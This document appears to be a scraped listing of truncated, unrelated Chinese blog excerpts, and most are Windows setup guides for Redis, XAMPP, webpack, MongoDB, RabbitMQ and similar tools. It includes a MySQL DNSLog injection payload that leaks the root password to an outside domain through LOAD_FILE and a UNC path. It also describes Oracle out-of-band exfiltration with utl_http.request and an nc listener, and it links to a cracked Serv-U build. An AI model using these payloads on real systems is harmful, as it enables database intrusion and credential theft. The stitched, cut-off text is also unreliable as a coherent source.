DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对"隐蔽"的渠道,来委婉地获取到想要获得的信息. 例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜. 但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga

Redis 3.0集群 Window搭建方案 1.集群安装前准备 安装Ruby环境,安装:rubyinstaller-2.3.0-x64.exe http://dl.bintray.com/oneclick/rubyinstaller/rubyinstaller-2.2.4-x64.exe 这里将Ruby安装在 C:\Ruby22-x64 目录下. https://github.com/MSOpenTech/redis/releases/download/win-3.0.501/Redis-x6

本文介绍如何在window搭建私有云网盘. 工具/原料:一台window系统电脑或者window服务器(vps),Xampp 安装包,可道云kodexplorer安装包 第一步,xampp安装 1.官网下载xampp: https://www.apachefriends.org/zh_cn/download.html 2.下载完成之后,按照提示步骤一步一步的安装xampp(一直点next就行了) 到这里,等待安装完成. 3.安装完成之后启动 4.启动Apache和mysql两个选项,等待他们变成

首先现在的webpack教程已经很多了,写这篇的原因是因为自己在从小白开始的搭建过程中,并没有找到比较好的教程,花费了很多的时间,so 有了这篇博客,方便小白同学学习. node环境在这里不在赘述,package.json文件如下 { "name": "wn", "version": "1.0.0", "description": "", "main": "

在window开发python代码,搭建python环境! 01.下载python-win https://www.python.org/downloads/windows/ http://ipython.org/       ###友好的交互python 02.安装python ###自动在Window添加的环境变量 03.升级pip及安装ipython win+R--->cmd python -m pip install --upgrade pip pip install ipython 0

本文将简单搭建一个spark的开发环境,如下: 1)操作系统:window os 2)IDEA开发工具以及scala插件(IDEA和插件版本要对应): 2-1)IDEA2018.2.1:https://www.jetbrains.com/ 2-2)scala-intellij-bin-2018.2.11.zip :http://plugins.jetbrains.com/plugin/1347-scala 3)scala和Java语言的开发包(spark2.4.0对应的可用版本): 5-1)sc

Mongodb的集群方式的搭建有三种:Replica Set / Sharding / Master-Slaver.这里只说明最简单的集群搭建方式(Replica Set) Replica Set Mongodb(M)表示主节点,Mongodb(S)表示备节点,Mongodb(A)表示仲裁节点.主备节点存储数据,仲裁节点不存储数据.客户端同时连接主节点与备节点,不连接仲裁节点. 默认设置下,主节点提供所有增删查改服务,备节点不提供任何服务.但是可以通过设置使备节点提供查询服务,这样就可以减少主节

1.启动cmd 进入到Tomcat目录 D:\xy_ybb\XY\serviceXY\apache-tomcat-7.0.81\bin>cd D:\xy_ybb\XY\tomcat\apache-tomcat-7.0.81\bin D:\xy_ybb\XY\tomcat\apache-tomcat-7.0.81\bin>service install tomcatybbInstalling the service 'tomcatybb' ...Using CATALINA_HOME: &quo

找到版本库目录(在安装svnserver时指定的目录),如下图指定了一个版本库的hooks 在其中创建post-commit.bat文件(可先创建post-cmmit.txt再修改后缀名为bat). 其中内容写入: @echo off "C:\Program Files\VisualSVN Server\bin\svn.exe(在svnserver安装地址找到bin文件夹下的svn.exe)" update "F:\www\auto_test(服务器同步更新项目所在)&quo

Unofficial Windows Binaries for Python Extension Packages 其中包含大量Windows下的python的module 包含大但不仅限于pip: http://www.lfd.uci.edu/~gohlke/pythonlibs/#pip

RabbitMq window 搭建设置过程,网上有些说的不太明白,所以亲自操刀测试过程,参考了很多人的资料,多谢各位大神的宝贵资料第一步:装RabbitMq运行环境,类似一个虚拟机的东东 1.otp_win32_19.0.exe 下载地址:https://www.erlang.org/ 分32位和64位根据个人系统安装不同的,这地址是国外的,貌似的FQ (forwindows) 2.rabbitmq-server-3.2.3.exe 下载地址:http://www.rabbitmq.com/r

前言 - 简介 我们在写代码的过程中, 不可避免的重度依赖所处的开发环境. 本文重点带大家在 Window 搭建 C 简单控制台项目. 当作存档, 用于记录项目搭建各种重复操作.  在详细过程之前, 我们约定下基础环境 Best new version Window Best new version Visual Studio 例如笔者当前是 Windows 10 + Visual Studio 2019, 其中 Windows 推荐开启 UTF-8 支持. 那此间, 骚年去唤醒自己的道 ~ 正

window搭建webpack,react,babel傻瓜教程   首先现在的webpack教程已经很多了,写这篇的原因是因为自己在从小白开始的搭建过程中,并没有找到比较好的教程,花费了很多的时间,so 有了这篇博客,方便小白同学学习. node环境在这里不在赘述,package.json文件如下 { "name": "wn", "version": "1.0.0", "description": &quo

Window搭建自己的FTP,Serv-U是很不错的选择... 00.运行视图 注意: 此版本是绿色破解版,个人使用很便捷的.不建议商业使用... download: https://pan.baidu.com/s/1sl0Xbg5

CoreData的底层实现尽管是使用的sqlite数据库.但是CoreData在使用起来但是和sqlite大相径庭.可能你会发现你连一句sql语句都不要写.CoreData存在于应用程序和持久化存储区之间,扮演了桥梁的角色,将托管的对象映射到持久化存储区其中. 1.设置上下文 在代码開始之前还须要加入CoreData框架,并在合适的地方引入头文件<CoreData/CoreData.h>: // 从应用程序包中载入模型文件 NSManagedObjectModel *model = [NSMa

Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似. 下面介绍这个技术中常用的函数和使用. 环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台. 接受的数据的靶机: nc -vvlp 0x01 utl_http.request()函数 通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限. 检测是否支持utl_http

本文探讨如何使用 RocketMQ Binder 完成 Spring Cloud 应用消息的订阅和发布. 介绍 RocketMQ 是一款开源的分布式消息系统,基于高可用分布式集群技术,提供低延时的.高可靠的消息发布与订阅服务,广泛应用于多个领域,包括异步通信解耦.企业解决方案.金融支付.电信.电子商务.快递物流.广告营销.社交.即时通信.移动应用.手游.视频.物联网.车联网等. RocketMQ 是阿里巴巴在2012年开源的分布式消息中间件,目前已经捐赠给 Apache 软件基金会,并于2017

DNS解析过程 DNS解析过程 DNS 查询的过程如下图1所示. 图1 文字举例说明: 假定浏览器想知道域名xprp8i.dnslog.cn的IP地址. 1.浏览器先向本地DNS服务器进行递归查询. 2.本地域名服务器采用迭代查询.它先向一个根域名服务器查询. 3.根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址. 4.本地域名服务器向顶级域名服务器a.dns.cn进行查询. 5.顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1

0x00 Oracle基础 Oracle 基本使用 什么是Oracle数据库? Oracle公司目前是世界上最大的软件提供商之一,与它并列的还有 Microsoft与 Adode.并且随着 Oracle的发展,它已经成为了企业办公平台的最大软件提供商之一. Oracle数据库是 Oracle (中文名称叫甲骨文) 公司的核心产品,Oracle数据库是-个适合于大中型企业的数据库管理系统.在所有的数据库管理系统中(比如:微软的SQL Server,IBM的DB2等), Oracle的主要用户涉及面

项目组大部分人员不能访问maven的central repository,因此在局域网里找一台有外网权限的机器,搭建nexus私服,然后开发人员连到这台私服上  环境是:nexus-2.1.1.maven-3.0.4.jdk-1.6.0_32  一.用admin用户登陆nexus  nexus的下载和安装都很简单 .下载 .安装和启动服务 -bundle.zip解压到nexus目录中. .配置环境变量 .执行nexus 服务安装 .如果启动报错(错误如下) .window 启动后,再次找到nex